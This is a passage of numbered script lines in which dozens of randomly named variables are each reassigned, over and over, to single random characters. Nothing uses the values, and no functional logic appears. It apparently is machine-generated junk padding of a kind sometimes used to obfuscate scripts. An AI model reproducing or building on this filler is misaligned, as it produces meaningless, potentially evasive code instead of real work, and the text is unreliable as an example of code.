125	rrixfbuqg = "f";
126	rrixfbuqg = "j";
127	rrixfbuqg = "D";
128	rrixfbuqg = "a";
129	rrixfbuqg = "l";
130	rrixfbuqg = "X";
131	rrixfbuqg = "I";
132	rrixfbuqg = "z";
133	rrixfbuqg = "Z";
134	rrixfbuqg = "e";
135	rrixfbuqg = "I";
136	rrixfbuqg = "l";
137	rrixfbuqg = "Y";
138	rrixfbuqg = "X";
139	rrixfbuqg = "K";
140	rrixfbuqg = "8";
141	cwwqym = "h";
142	cwwqym = "G";
143	cwwqym = "x";
144	cwwqym = "L";
145	cwwqym = "N";
146	cwwqym = "N";
147	cwwqym = "r";
148	cwwqym = "L";
149	cwwqym = "K";
150	cwwqym = "f";
151	cwwqym = "g";
152	cwwqym = "q";
153	cwwqym = "I";
154	cwwqym = "z";
155	cwwqym = "Q";
156	cwwqym = "r";
157	cwwqym = "D";
158	cwwqym = "P";
159	cwwqym = "q";
160	cwwqym = "V";
161	cwwqym = "v";
162	cwwqym = "P";
163	cwwqym = "Q";
164	cwwqym = "U";
165	cwwqym = "e";
166	cwwqym = "O";
167	cwwqym = "M";
168	cwwqym = "K";
169	cwwqym = "X";
170	cwwqym = "K";
171	cwwqym = "l";
172	cwwqym = "i";
173	cwwqym = "b";
174	cwwqym = "d";
175	lobkcxlov = "L";
176	lobkcxlov = "p";
177	lobkcxlov = "M";
178	lobkcxlov = "Z";
179	lobkcxlov = "C";
180	lobkcxlov = "S";
181	lobkcxlov = "Z";
182	lobkcxlov = "i";
183	lobkcxlov = "X";
184	lobkcxlov = "l";
185	lobkcxlov = "r";
186	lobkcxlov = "D";
187	lobkcxlov = "g";
188	lobkcxlov = "y";
189	lobkcxlov = "p";
190	lobkcxlov = "M";
191	lobkcxlov = "T";
192	lobkcxlov = "N";
193	lobkcxlov = "P";
194	lobkcxlov = "O";
195	lobkcxlov = "Y";
196	lobkcxlov = "X";
197	lobkcxlov = "X";
198	lobkcxlov = "c";
199	lobkcxlov = "N";
200	lobkcxlov = "Y";
201	lobkcxlov = "X";
202	lobkcxlov = "Z";
203	lobkcxlov = "z";
204	lobkcxlov = "p";
205	lobkcxlov = "a";
206	lobkcxlov = "B";
207	lobkcxlov = "p";
208	lobkcxlov = "w";
209	lobkcxlov = "o";
210	lobkcxlov = "p";
211	zyhje = "i";
212	zyhje = "x";
213	zyhje = "5";
214	sqlkl = "C";
215	sqlkl = "b";
216	sqlkl = "C";
217	sqlkl = "z";
218	sqlkl = "G";
219	sqlkl = "A";
220	sqlkl = "l";
221	sqlkl = "o";
222	sqlkl = "Y";
223	sqlkl = "l";
224	sqlkl = "U";
225	sqlkl = "h";
226	sqlkl = "r";
227	sqlkl = "Q";
228	sqlkl = "c";
229	sqlkl = "C";
230	sqlkl = "R";
231	sqlkl = "g";
232	sqlkl = "E";
233	sqlkl = "d";
234	sqlkl = "u";
235	sqlkl = "O";
236	sqlkl = "O";
237	sqlkl = "W";
238	sqlkl = "p";
239	sqlkl = "m";
240	sqlkl = "E";
241	sqlkl = "F";
242	sqlkl = "e";
243	sqlkl = "R";
244	sqlkl = "n";
245	sqlkl = "O";
246	sqlkl = "t";
247	sqlkl = "E";
248	sqlkl = "y";
249	sqlkl = "A";
250	sqlkl = "T";
251	sqlkl = "M";
252	sqlkl = "I";
253	sqlkl = "T";
254	sqlkl = "m";
255	sqlkl = "I";
256	ozcfubft = "S";
257	ozcfubft = "u";
258	ozcfubft = "j";
259	jifbryxyl = "p";
260	jifbryxyl = "L";
261	jifbryxyl = "x";
262	jifbryxyl = "X";
263	jifbryxyl = "F";
264	jifbryxyl = "l";
265	jifbryxyl = "q";
266	jifbryxyl = "D";
267	jifbryxyl = "l";
268	jifbryxyl = "W";
269	jifbryxyl = "p";
270	jifbryxyl = "r";
271	jifbryxyl = "y";
272	jifbryxyl = "V";
273	jifbryxyl = "j";
274	jifbryxyl = "t";
275	jifbryxyl = "u";
276	jifbryxyl = "g";
277	jifbryxyl = "n";
278	jifbryxyl = "N";
279	jifbryxyl = "Y";
280	jifbryxyl = "K";
281	jifbryxyl = "g";
282	jifbryxyl = "A";
283	jifbryxyl = "M";
284	jifbryxyl = "k";
285	jifbryxyl = "U";
286	jifbryxyl = "q";
287	jifbryxyl = "O";
288	unhycg = "d";
289	unhycg = "y";
290	unhycg = "H";
291	unhycg = "n";
292	unhycg = "b";
293	unhycg = "p";
294	unhycg = "L";
295	unhycg = "k";
296	immjnnjae = "u";
297	immjnnjae = "H";
298	immjnnjae = "S";
299	immjnnjae = "c";
300	immjnnjae = "e";
301	immjnnjae = "T";
302	immjnnjae = "R";
303	immjnnjae = "r";
304	immjnnjae = "t";
305	immjnnjae = "h";
306	immjnnjae = "p";
307	immjnnjae = "Q";
308	immjnnjae = "-";
309	aeajzhnf = "V";
310	aeajzhnf = "Q";
311	aeajzhnf = "v";
312	aeajzhnf = "g";
313	aeajzhnf = "C";
314	aeajzhnf = "C";
315	aeajzhnf = "h";
316	aeajzhnf = "t";
317	aeajzhnf = "P";
318	aeajzhnf = "y";
319	aeajzhnf = "K";
320	aeajzhnf = "U";
321	aeajzhnf = "m";
322	aeajzhnf = "z";
323	aeajzhnf = "d";
324	aeajzhnf = "s";
325	aeajzhnf = "j";
326	aeajzhnf = "c";
327	aeajzhnf = "r";
328	aeajzhnf = "p";
329	aeajzhnf = "R";
330	aeajzhnf = "u";
331	aeajzhnf = "h";
332	aeajzhnf = "9";
333	tizijfe = "g";
334	tizijfe = "D";
335	tizijfe = "z";
336	tizijfe = "s";
337	tizijfe = "D";
338	tizijfe = "P";
339	tizijfe = "O";
340	tizijfe = "C";
341	tizijfe = "u";
342	tizijfe = "i";
343	tizijfe = "Q";
344	tizijfe = "y";
345	tizijfe = "K";
346	nerfy = "v";
347	nerfy = "y";
348	nerfy = "q";
349	nerfy = "w";
350	nerfy = "H";
351	nerfy = "y";
352	nerfy = "v";
353	nerfy = "N";
354	nerfy = "o";
355	nerfy = "j";
356	nerfy = "M";
357	nerfy = "a";
358	nerfy = "X";
359	nerfy = "H";
360	nerfy = "o";
361	nerfy = "a";
362	nerfy = "e";
363	nerfy = "c";
364	nerfy = "q";
365	nerfy = "D";
366	nerfy = "Z";
367	nerfy = "D";
368	nerfy = "S";
369	nerfy = "o";
370	nerfy = "b";
371	nerfy = "A";
372	nerfy = "O";
373	nerfy = "t";
374	nerfy = "M";
375	nerfy = "f";
376	nerfy = "P";
377	nerfy = "C";
378	gbephfund = "r";
379	gbephfund = "X";
380	gbephfund = "R";
381	gbephfund = "X";
382	gbephfund = "f";
383	tqeznxrze = "E";
384	tqeznxrze = "U";
385	tqeznxrze = "i";
386	tqeznxrze = "H";
387	tqeznxrze = "t";
388	tqeznxrze = "e";
389	tqeznxrze = "m";
390	tqeznxrze = "S";
391	tqeznxrze = "a";
392	tqeznxrze = "d";
393	tqeznxrze = "Z";
394	tqeznxrze = "A";
395	tqeznxrze = "K";
396	tqeznxrze = "L";
397	tqeznxrze = "S";
398	tqeznxrze = "L";
399	tqeznxrze = "f";
400	tqeznxrze = "A";
401	tqeznxrze = "r";
402	tqeznxrze = "U";
403	tqeznxrze = "B";
404	tqeznxrze = "Q";
405	tqeznxrze = "q";
406	tqeznxrze = "a";
407	tqeznxrze = "b";
408	tqeznxrze = "d";
409	tqeznxrze = "W";
410	tqeznxrze = "T";
411	tqeznxrze = "J";
412	tqeznxrze = "F";
413	tqeznxrze = "V";
414	tqeznxrze = "Y";
415	tqeznxrze = "i";
416	tqeznxrze = "K";
417	tqeznxrze = "L";
418	tqeznxrze = "y";
419	tqeznxrze = "X";
420	tqeznxrze = "g";
421	sggmn = "g";
422	sggmn = "C";
423	sggmn = "U";
424	sggmn = "a";
425	sggmn = "g";
426	sggmn = "h";
427	sggmn = "g";
428	sggmn = "R";
429	sggmn = "M";
430	sggmn = "J";
431	sggmn = "j";
432	sggmn = "f";
433	sggmn = "D";
434	sggmn = "o";
435	sggmn = "r";
436	sggmn = "T";
437	sggmn = "u";
438	sggmn = "D";
439	sggmn = "O";
440	sggmn = "b";
441	sggmn = "I";
442	sggmn = "T";
443	sggmn = "h";
444	sggmn = "l";
445	sggmn = "Z";
446	sggmn = "g";
447	sggmn = ".";
448	wurugkkoq = "V";
449	wurugkkoq = "E";
450	wurugkkoq = "H";
451	wurugkkoq = "V";
452	wurugkkoq = "L";
453	wurugkkoq = "Q";
454	wurugkkoq = "k";
455	wurugkkoq = "Y";
456	wurugkkoq = "i";
457	wurugkkoq = "j";
458	wurugkkoq = "k";
459	wurugkkoq = "u";
460	wurugkkoq = "d";
461	wurugkkoq = "D";
462	wurugkkoq = "Q";
463	wurugkkoq = "s";
464	wurugkkoq = "F";
465	wurugkkoq = "b";
466	wurugkkoq = "r";
467	wurugkkoq = "Y";
468	wurugkkoq = "z";
469	wurugkkoq = "C";
470	wurugkkoq = "I";
471	wurugkkoq = "v";
472	wurugkkoq = "o";
473	wurugkkoq = "N";
474	wurugkkoq = "G";
475	wurugkkoq = "f";
476	wurugkkoq = "T";
477	wurugkkoq = "X";
478	wurugkkoq = "C";
479	wurugkkoq = "m";
480	wurugkkoq = "K";
481	wurugkkoq = "e";
482	neubtzvkz = "W";
483	neubtzvkz = "R";
484	neubtzvkz = "k";
485	neubtzvkz = "m";
486	neubtzvkz = "L";
487	neubtzvkz = "f";
488	neubtzvkz = "t";
489	neubtzvkz = "A";
490	neubtzvkz = "r";
491	neubtzvkz = "g";
492	neubtzvkz = "f";
493	neubtzvkz = "q";
494	neubtzvkz = "E";
495	neubtzvkz = "v";
496	neubtzvkz = "E";
497	neubtzvkz = "w";
498	neubtzvkz = "v";
499	neubtzvkz = "k";
500	neubtzvkz = "p";
501	neubtzvkz = "d";
502	neubtzvkz = "e";
503	neubtzvkz = "l";
504	neubtzvkz = "b";
505	neubtzvkz = "A";
506	neubtzvkz = "E";
507	neubtzvkz = "T";
508	neubtzvkz = "H";
509	neubtzvkz = "f";
510	neubtzvkz = "j";
511	neubtzvkz = "T";
512	neubtzvkz = "x";
513	neubtzvkz = "i";
514	sjbjxu = "N";
515	sjbjxu = "K";
516	sjbjxu = "v";
517	sjbjxu = "d";
518	sjbjxu = "H";
519	sjbjxu = "P";
520	sjbjxu = "h";
521	sjbjxu = "t";
522	sjbjxu = "W";
523	sjbjxu = "D";
524	sjbjxu = "U";
525	sjbjxu = "x";
526	ljfyo = "I";
527	ljfyo = "f";
528	ljfyo = "u";
529	ljfyo = "V";
530	ljfyo = "f";
531	ljfyo = "w";
532	ljfyo = "x";
533	ljfyo = "c";
534	ljfyo = "x";
535	ljfyo = "U";
536	ljfyo = "L";
537	ljfyo = "T";
538	ljfyo = "I";
539	ljfyo = "p";
540	ljfyo = "u";
541	ljfyo = "H";
542	ljfyo = "p";
543	ljfyo = "P";
544	ljfyo = "y";
545	ljfyo = "w";
546	ljfyo = "O";
547	ljfyo = "f";
548	ljfyo = "E";
549	ljfyo = "n";
550	ljfyo = "T";
551	ljfyo = "B";
552	ljfyo = "n";
553	ljfyo = "l";
554	ljfyo = "M";
555	ljfyo = "m";
556	ljfyo = "P";
557	ljfyo = "q";
558	ljfyo = "H";
559	ljfyo = "H";
560	ljfyo = "N";
561	ljfyo = "m";
562	ljfyo = "M";
563	ljfyo = "W";
564	ljfyo = "A";
565	ljfyo = "Q";
566	ljfyo = "W";
567	ljfyo = "X";
568	ljfyo = "v";
569	ljfyo = "Z";
570	ljfyo = "T";
571	iwesj = "H";
572	iwesj = "A";
573	iwesj = "W";
574	iwesj = "W";
575	iwesj = "z";
576	iwesj = "z";
577	iwesj = "S";
578	iwesj = "F";
579	iwesj = "r";
580	iwesj = "o";
581	iwesj = "D";
582	iwesj = "o";
583	iwesj = "c";
584	iwesj = "v";
585	iwesj = "A";
586	iwesj = "z";
587	iwesj = "W";
588	iwesj = "j";
589	iwesj = "W";
590	iwesj = "L";
591	iwesj = "P";
592	iwesj = "C";
593	iwesj = "J";
594	iwesj = "G";
595	iwesj = "v";
596	ihauzoex = "K";
597	ihauzoex = "J";
598	ihauzoex = "x";
599	ihauzoex = "B";
600	ihauzoex = "l";
601	ihauzoex = "t";
602	ihauzoex = "Q";
603	ihauzoex = "r";
604	ihauzoex = "Y";
605	ihauzoex = "h";
606	ihauzoex = "I";
607	ihauzoex = "z";
608	ihauzoex = "W";
609	ihauzoex = "O";
610	ihauzoex = "D";
611	ihauzoex = "w";
612	ihauzoex = "T";
613	ihauzoex = "l";
614	ihauzoex = "\\";
615	gjsbvahyb = "v";
616	gjsbvahyb = "Y";
617	gjsbvahyb = "y";
618	gjsbvahyb = "f";
619	gjsbvahyb = "L";
620	gjsbvahyb = "z";
621	gjsbvahyb = "M";
622	gjsbvahyb = "o";
623	gjsbvahyb = "R";
624	gjsbvahyb = "O";
625	gjsbvahyb = "b";
626	gjsbvahyb = "N";
627	gjsbvahyb = "p";
628	gjsbvahyb = "y";
629	gjsbvahyb = "e";
630	gjsbvahyb = "K";
631	gjsbvahyb = "D";
632	gjsbvahyb = "T";
633	gjsbvahyb = "i";
634	gjsbvahyb = "i";
635	gjsbvahyb = "W";
636	gjsbvahyb = "V";
637	gjsbvahyb = "j";
638	gjsbvahyb = "w";
639	gjsbvahyb = "I";
640	gjsbvahyb = "s";
641	gjsbvahyb = "H";
642	gjsbvahyb = "F";
643	gjsbvahyb = "s";
644	gjsbvahyb = "f";
645	gjsbvahyb = "X";
646	gjsbvahyb = "d";
647	gjsbvahyb = "t";
648	gjsbvahyb = "l";
649	gjsbvahyb = "I";
650	gjsbvahyb = "I";
651	gjsbvahyb = "w";
652	gjsbvahyb = "a";
653	qgmcnabq = "K";
654	qgmcnabq = "c";
655	qgmcnabq = "h";
656	qgmcnabq = "J";
657	qgmcnabq = "u";
658	qgmcnabq = "I";
659	qgmcnabq = "B";
660	qgmcnabq = "O";
661	qgmcnabq = "H";
662	qgmcnabq = "a";
663	qgmcnabq = "y";
664	qgmcnabq = "f";
665	qgmcnabq = "k";
666	qgmcnabq = "g";
667	qgmcnabq = "K";
668	qgmcnabq = "I";
669	qgmcnabq = "Z";
670	qgmcnabq = "S";
671	qgmcnabq = "S";
672	qgmcnabq = "i";
673	qgmcnabq = "b";
674	qgmcnabq = "f";
675	qgmcnabq = "l";
676	qgmcnabq = "Z";
677	qgmcnabq = "D";
678	qgmcnabq = "i";
679	qgmcnabq = "E";
680	qgmcnabq = "N";
681	qgmcnabq = "T";
682	qgmcnabq = "K";
683	qgmcnabq = "z";
684	qgmcnabq = "R";
685	qgmcnabq = "d";
686	qgmcnabq = "I";
687	qgmcnabq = "T";
688	qgmcnabq = "D";
689	qgmcnabq = "q";
690	qgmcnabq = "W";
691	qgmcnabq = "E";
692	qgmcnabq = "A";
693	qgmcnabq = "@";
694	pghrn = "x";
695	pghrn = "S";
696	pghrn = "R";
697	pghrn = "o";
698	pghrn = "x";
699	pghrn = "I";
700	pghrn = "i";
701	pghrn = "O";
702	pghrn = "Y";
703	pghrn = "K";
704	pghrn = "S";
705	pghrn = "u";
706	pghrn = "E";
707	pghrn = "V";
708	pghrn = "t";
709	pghrn = "L";
710	pghrn = "p";
711	pghrn = "b";
712	pghrn = "e";
713	pghrn = "l";
714	fpecim = "y";
715	fpecim = "U";
716	fpecim = "f";
717	fpecim = "M";
718	fpecim = "Y";
719	fpecim = "Z";
720	fpecim = "o";
721	fpecim = "g";
722	fpecim = "x";
723	fpecim = "G";
724	fpecim = "W";
725	fpecim = "K";
726	fpecim = "L";
727	fpecim = "E";
728	fpecim = "S";
729	fpecim = "J";
730	fpecim = "W";
731	fpecim = "g";
732	fpecim = "K";
733	fpecim = "n";
734	fpecim = "G";
735	fpecim = "g";
736	fpecim = "f";
737	fpecim = "G";
738	fpecim = "U";
739	fpecim = "i";
740	fpecim = "j";
741	fpecim = "r";
742	fpecim = "0";
743	lqnmltvro = "v";
744	lqnmltvro = "p";
745	lqnmltvro = "Q";
746	lqnmltvro = "c";
747	lqnmltvro = "n";
748	lqnmltvro = "Z";
749	lqnmltvro = "g";
750	lqnmltvro = "q";
751	lqnmltvro = "p";
752	lqnmltvro = "P";
753	lqnmltvro = "L";
754	lqnmltvro = "M";
755	lqnmltvro = "r";
756	lqnmltvro = "s";
757	lqnmltvro = "H";
758	lqnmltvro = "H";
759	lqnmltvro = "E";
760	lqnmltvro = "l";
761	lqnmltvro = "Q";
762	lqnmltvro = "c";
763	lqnmltvro = "d";
764	lqnmltvro = "Q";
765	lqnmltvro = "w";
766	lqnmltvro = "E";
767	lqnmltvro = "R";
768	lqnmltvro = "n";
769	lqnmltvro = "V";
770	lqnmltvro = "w";
771	lqnmltvro = "f";
772	lqnmltvro = "W";
773	lqnmltvro = "i";
774	lqnmltvro = "p";
775	lqnmltvro = "S";
776	xvndhluw = "a";
777	xvndhluw = "a";
778	xvndhluw = "l";
779	xvndhluw = "x";
780	xvndhluw = "Y";
781	xvndhluw = "i";
782	xvndhluw = "d";
783	xvndhluw = "s";
784	xvndhluw = "J";
785	xvndhluw = "A";
786	xvndhluw = "y";
787	xvndhluw = "J";
788	xvndhluw = "o";
789	xvndhluw = "A";
790	xvndhluw = "j";
791	xvndhluw = "D";
792	xvndhluw = "W";
793	bcnyvwk = "I";
794	bcnyvwk = "U";
795	bcnyvwk = "p";
796	bcnyvwk = "z";
797	bcnyvwk = "k";
798	bcnyvwk = "f";
799	bcnyvwk = "q";
800	bcnyvwk = "C";
801	bcnyvwk = "D";
802	bcnyvwk = "d";
803	bcnyvwk = "R";
804	bcnyvwk = "J";
805	bcnyvwk = "A";
806	bcnyvwk = "H";
807	bcnyvwk = "J";
808	bcnyvwk = "M";
809	bcnyvwk = "K";
810	bcnyvwk = "w";
811	bcnyvwk = "b";
812	oqijf = "z";
813	oqijf = "q";
814	oqijf = "a";
815	oqijf = "s";
816	oqijf = "T";
817	oqijf = "y";
818	oqijf = "p";
819	oqijf = "i";
820	oqijf = "v";
821	oqijf = "P";
822	oqijf = "r";
823	oqijf = "w";
824	oqijf = "N";
825	oqijf = "x";
826	oqijf = "J";
827	oqijf = "m";
828	oqijf = "e";
829	oqijf = "i";
830	oqijf = "i";
831	oqijf = "T";
832	oqijf = "k";
833	oqijf = "Z";
834	oqijf = "L";
835	oqijf = "s";
836	oqijf = "Y";
837	oqijf = "O";
838	oqijf = "t";
839	oqijf = "s";
840	oqijf = "d";
841	oqijf = "f";
842	oqijf = "k";
843	oqijf = "o";
844	oqijf = "b";
845	oqijf = "O";
846	oqijf = "b";
847	oqijf = "P";
848	oqijf = "t";
849	oqijf = "r";
850	oqijf = "d";
851	oqijf = "n";
852	oqijf = "g";
853	oqijf = "X";
854	oqijf = "g";
855	oqijf = "M";
856	oqijf = ":";
857	edyeokw = "k";
858	edyeokw = "j";
859	edyeokw = "E";
860	edyeokw = "Q";
861	qcmympv = "w";
862	qcmympv = "Q";
863	qcmympv = "N";
864	qcmympv = "b";
865	qcmympv = "c";
866	wfqwfs = "m";
867	wfqwfs = "M";
868	wfqwfs = "a";
869	wfqwfs = "j";
870	wfqwfs = "Q";
871	wfqwfs = "x";
872	wfqwfs = "F";
873	wfqwfs = "F";
874	wfqwfs = "G";
875	wfqwfs = "C";
876	wfqwfs = "X";
877	wfqwfs = "j";
878	wfqwfs = "z";
879	wfqwfs = "D";
880	wfqwfs = "y";
881	wfqwfs = "A";
882	wfqwfs = "b";
883	wfqwfs = "O";
884	wfqwfs = "K";
885	wfqwfs = "D";
886	wfqwfs = "O";
887	wfqwfs = "p";
888	wfqwfs = "Q";
889	wfqwfs = "C";
890	wfqwfs = "w";
891	wfqwfs = "k";
892	wfqwfs = "K";
893	wfqwfs = "J";
894	wfqwfs = "G";
895	wfqwfs = "g";
896	wfqwfs = "Z";
897	wfqwfs = "N";
898	wfqwfs = "a";
899	wfqwfs = "d";
900	wfqwfs = "S";
901	wfqwfs = "L";
902	wfqwfs = "H";
903	duaayc = "p";
904	duaayc = "F";
905	duaayc = "j";
906	duaayc = "O";
907	duaayc = "k";
908	duaayc = "L";
909	duaayc = "o";
910	duaayc = "n";
911	firfwam = "b";
912	firfwam = "m";
913	firfwam = "G";
914	firfwam = "y";
915	firfwam = "Y";
916	firfwam = "f";
917	firfwam = "h";
918	firfwam = "C";
919	firfwam = "P";
920	firfwam = "L";
921	firfwam = "l";
922	firfwam = "G";
923	firfwam = "A";
924	firfwam = "Y";
925	firfwam = "A";
926	firfwam = "W";
927	firfwam = "c";
928	firfwam = "Q";
929	firfwam = "L";
930	firfwam = "X";
931	firfwam = "L";
932	firfwam = "v";
933	firfwam = "t";
934	firfwam = "h";
935	firfwam = "I";
936	firfwam = "g";
937	firfwam = "p";
938	firfwam = "N";
939	firfwam = "U";
940	firfwam = "z";
941	firfwam = " ";
942	kqnptixl = "u";
943	kqnptixl = "W";
944	kqnptixl = "m";
945	kqnptixl = "R";
946	kqnptixl = "s";
947	kqnptixl = "A";
948	kqnptixl = "K";
949	kqnptixl = "G";
950	kqnptixl = "g";
951	kqnptixl = "G";
952	kqnptixl = "n";
953	kqnptixl = "m";
954	kqnptixl = "W";
955	kqnptixl = "p";
956	kqnptixl = "t";
957	kqnptixl = "o";
958	kqnptixl = "P";
959	kqnptixl = "q";
960	kqnptixl = "e";
961	kqnptixl = "R";
962	kqnptixl = "j";
963	kqnptixl = "D";
964	kqnptixl = "r";
965	kqnptixl = "Q";
966	kqnptixl = "m";
967	kqnptixl = "u";
968	kqnptixl = "F";
969	kqnptixl = "l";
970	kqnptixl = "R";
971	kqnptixl = "w";
972	kqnptixl = "v";
973	kqnptixl = "Z";
974	kqnptixl = "p";
975	kqnptixl = "R";
976	kqnptixl = "s";
977	kqnptixl = "g";
978	kqnptixl = "H";
979	kqnptixl = "F";
980	kqnptixl = "P";
981	skjhrr = "N";
982	skjhrr = "L";
983	skjhrr = "g";
984	skjhrr = "R";
985	skjhrr = "S";
986	skjhrr = "Z";
987	skjhrr = "I";
988	skjhrr = "E";
989	skjhrr = "p";
990	skjhrr = "f";
991	skjhrr = "W";
992	skjhrr = "W";
993	skjhrr = "l";
994	skjhrr = "q";
995	skjhrr = "k";
996	skjhrr = "R";
997	skjhrr = "s";
998	skjhrr = "D";
999	skjhrr = "f";
1000	skjhrr = "h";
1001	skjhrr = "v";
1002	skjhrr = "K";
1003	skjhrr = "C";
1004	skjhrr = "G";
1005	skjhrr = "X";
1006	skjhrr = "u";
1007	skjhrr = "E";
1008	skjhrr = "1";
1009	fvostkw = "a";
1010	fvostkw = "c";
1011	fvostkw = "Y";
1012	fvostkw = "H";
1013	fvostkw = "D";
1014	fvostkw = "p";
1015	fvostkw = "y";
1016	fvostkw = "I";
1017	fvostkw = "R";
1018	fvostkw = "6";
1019	thkuarg = "I";
1020	thkuarg = "O";
1021	thkuarg = "R";
1022	thkuarg = "g";
1023	thkuarg = "y";
1024	thkuarg = "R";
1025	ovzxygik = "t";
1026	ovzxygik = "F";
1027	ovzxygik = "U";
1028	ovzxygik = "k";
1029	ovzxygik = "d";
1030	ovzxygik = "S";
1031	ovzxygik = "q";
1032	ovzxygik = "l";
1033	ovzxygik = "D";
1034	ovzxygik = "l";
1035	ovzxygik = "x";
1036	ovzxygik = "l";
1037	ovzxygik = "q";
1038	ovzxygik = "C";
1039	ovzxygik = "h";
1040	ovzxygik = "D";
1041	ovzxygik = "q";
1042	ovzxygik = "I";
1043	ovzxygik = "X";
1044	ovzxygik = "B";
1045	ovzxygik = "b";
1046	ovzxygik = "O";
1047	ovzxygik = "A";
1048	ovzxygik = "i";
1049	ovzxygik = "Y";
1050	ovzxygik = "i";
1051	ovzxygik = "V";
1052	ovzxygik = "U";
1053	ovzxygik = "h";
1054	ovzxygik = "j";
1055	ovzxygik = "d";
1056	ovzxygik = "u";
1057	gzvgvmty = "i";
1058	gzvgvmty = "N";
1059	gzvgvmty = "H";
1060	gzvgvmty = "W";
1061	gzvgvmty = "G";
1062	gzvgvmty = "b";
1063	gzvgvmty = "K";
1064	gzvgvmty = "Q";
1065	gzvgvmty = "f";
1066	gzvgvmty = "y";
1067	gzvgvmty = "O";
1068	gzvgvmty = "J";
1069	gzvgvmty = "U";
1070	gzvgvmty = "j";
1071	gzvgvmty = "y";
1072	gzvgvmty = "k";
1073	gzvgvmty = "m";
1074	gzvgvmty = "c";
1075	gzvgvmty = "f";
1076	gzvgvmty = "X";
1077	gzvgvmty = "H";
1078	gzvgvmty = "X";
1079	gzvgvmty = "C";
1080	gzvgvmty = "a";
1081	gzvgvmty = "Q";
1082	gzvgvmty = "m";
1083	gzvgvmty = "n";
1084	gzvgvmty = "G";
1085	gzvgvmty = "u";
1086	gzvgvmty = "F";
1087	gzvgvmty = "U";
1088	gzvgvmty = "F";
1089	gzvgvmty = "g";
1090	gzvgvmty = "U";
1091	gzvgvmty = "A";
1092	gzvgvmty = "E";
1093	gzvgvmty = "Y";
1094	gzvgvmty = "T";
1095	gzvgvmty = "Z";
1096	gzvgvmty = "L";
1097	gzvgvmty = "L";
1098	gzvgvmty = "b";
1099	gzvgvmty = "i";
1100	gzvgvmty = "F";
1101	bknljvbw = "Y";
1102	bknljvbw = "o";
1103	bknljvbw = "v";
1104	bknljvbw = "h";
1105	bknljvbw = "K";
1106	bknljvbw = "p";
1107	bknljvbw = "k";
1108	bknljvbw = "z";
1109	bknljvbw = "l";
1110	bknljvbw = "d";
1111	bknljvbw = "Y";
1112	bknljvbw = "t";
1113	bknljvbw = "Y";
1114	bknljvbw = "X";
1115	bknljvbw = "N";
1116	bknljvbw = "s";
1117	bknljvbw = "E";
1118	bknljvbw = "O";
1119	bknljvbw = "E";
1120	bknljvbw = "p";
1121	bknljvbw = "m";
1122	bknljvbw = "S";
1123	bknljvbw = "H";
1124	bknljvbw = "G";
1125	bknljvbw = "I";
1126	bknljvbw = "e";
1127	bknljvbw = "P";
1128	bknljvbw = "r";
1129	bknljvbw = "d";
1130	bknljvbw = "r";
1131	bknljvbw = "t";
1132	bknljvbw = "N";
1133	bknljvbw = "G";
1134	bknljvbw = "c";
1135	bknljvbw = "q";
1136	bknljvbw = "F";
1137	bknljvbw = "C";
1138	bknljvbw = "F";
1139	bknljvbw = "a";
1140	bknljvbw = "m";
1141	meilu = "e";
1142	meilu = "G";
1143	meilu = "G";
1144	meilu = "I";
1145	meilu = "X";
1146	meilu = "V";
1147	meilu = "i";
1148	meilu = "r";
1149	meilu = "n";
1150	meilu = "x";
1151	meilu = "O";
1152	meilu = "J";
1153	meilu = "y";
1154	meilu = "s";
1155	shcvhpmni = "l";
1156	shcvhpmni = "y";
1157	shcvhpmni = "P";
1158	shcvhpmni = "M";
1159	shcvhpmni = "D";
1160	shcvhpmni = "U";
1161	shcvhpmni = "o";
1162	shcvhpmni = "P";
1163	shcvhpmni = "m";
1164	shcvhpmni = "w";
1165	shcvhpmni = "o";
1166	shcvhpmni = "d";
1167	shcvhpmni = "I";
1168	shcvhpmni = "T";
1169	shcvhpmni = "i";
1170	shcvhpmni = "A";
1171	shcvhpmni = "k";
1172	shcvhpmni = "j";
1173	shcvhpmni = "h";
1174	shcvhpmni = "U";
1175	ljnvvs = "g";
1176	ljnvvs = "r";
1177	ljnvvs = "o";
1178	ljnvvs = "O";
1179	ljnvvs = "Z";
1180	ljnvvs = "K";
1181	ljnvvs = "n";
1182	ljnvvs = "u";
1183	ljnvvs = "V";
1184	ljnvvs = "D";
1185	ljnvvs = "k";
1186	ljnvvs = "k";
1187	ljnvvs = "x";
1188	ljnvvs = "S";
1189	ljnvvs = "m";
1190	ljnvvs = "y";
1191	ljnvvs = "u";
1192	ljnvvs = "k";
1193	ljnvvs = "X";
1194	ljnvvs = "d";
1195	ljnvvs = "s";
1196	ljnvvs = "&";
1197	slmdcjrfy = "r";
1198	slmdcjrfy = "i";
1199	slmdcjrfy = "V";
1200	slmdcjrfy = "Q";
1201	slmdcjrfy = "B";
1202	slmdcjrfy = "u";
1203	slmdcjrfy = "v";
1204	slmdcjrfy = "O";
1205	slmdcjrfy = "Q";
1206	slmdcjrfy = "B";
1207	slmdcjrfy = "f";
1208	slmdcjrfy = "F";
1209	slmdcjrfy = "A";
1210	slmdcjrfy = "O";
1211	slmdcjrfy = "E";
1212	slmdcjrfy = "y";
1213	slmdcjrfy = "o";
1214	slmdcjrfy = "h";
1215	slmdcjrfy = "P";
1216	slmdcjrfy = "A";
1217	slmdcjrfy = "u";
1218	slmdcjrfy = "f";
1219	slmdcjrfy = "o";
1220	slmdcjrfy = "R";
1221	slmdcjrfy = "Q";
1222	slmdcjrfy = "O";
1223	slmdcjrfy = "R";
1224	slmdcjrfy = "J";
1225	slmdcjrfy = "I";
1226	slmdcjrfy = "Y";
1227	pjnfxggr = "T";
1228	pjnfxggr = "d";
1229	pjnfxggr = "Q";
1230	pjnfxggr = "B";
1231	pjnfxggr = "Y";
1232	pjnfxggr = "b";
1233	pjnfxggr = "o";
1234	pjnfxggr = "N";
1235	pjnfxggr = "l";
1236	pjnfxggr = "Q";
1237	pjnfxggr = "J";
1238	pjnfxggr = "B";
1239	pjnfxggr = "O";
1240	pjnfxggr = "g";
1241	pjnfxggr = "x";
1242	pjnfxggr = "b";
1243	pjnfxggr = "T";
1244	pjnfxggr = "i";
1245	pjnfxggr = "H";
1246	pjnfxggr = "t";
1247	pjnfxggr = "P";
1248	pjnfxggr = "Q";
1249	pjnfxggr = "u";
1250	pjnfxggr = "Z";
1251	pjnfxggr = "B";
1252	pjnfxggr = "e";
1253	pjnfxggr = "U";
1254	pjnfxggr = "O";
1255	pjnfxggr = "u";
1256	pjnfxggr = "d";
1257	pjnfxggr = "H";
1258	pjnfxggr = "M";
1259	pjnfxggr = "N";
1260	pjnfxggr = "Q";
1261	pjnfxggr = "l";
1262	pjnfxggr = "P";
